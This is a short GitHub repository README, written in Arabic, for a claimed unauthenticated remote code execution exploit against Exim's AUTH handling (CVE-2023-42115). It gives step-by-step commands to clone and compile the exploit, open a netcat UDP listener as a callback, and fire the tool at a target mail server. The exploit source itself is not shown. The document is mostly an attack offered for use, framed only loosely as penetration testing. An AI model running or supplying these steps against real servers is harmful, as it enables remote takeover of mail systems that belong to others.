doaso/cve-2023-42115استغلال تنفيذ تعليمات برمجية عن بُعد لثغرة الكتابة خارج الحدود في Exim AUTH (CVE-2023-42115). لا يتطلب مصادقة؛ يتضمن تعليمات البناء والاستخدام لاختبار الاختراق.
ثغرة تنفيذ تعليمات برمجية عن بُعد نتيجة كتابة خارج الحدود في Exim AUTH. تسمح هذه الثغرة للمهاجمين عن بُعد بتنفيذ تعليمات برمجية عشوائية على التثبيتات المتأثرة من Exim. لا يلزم المصادقة لاستغلال هذه الثغرة.
git clone https://github.com/doaso/CVE-2023-42115.git
cd CVE-2023-42115/
g++ main.cpp -o app -std=c++20
nc -u -lvp 27015
./app 127.0.0.1 25 127.0.0.1 27015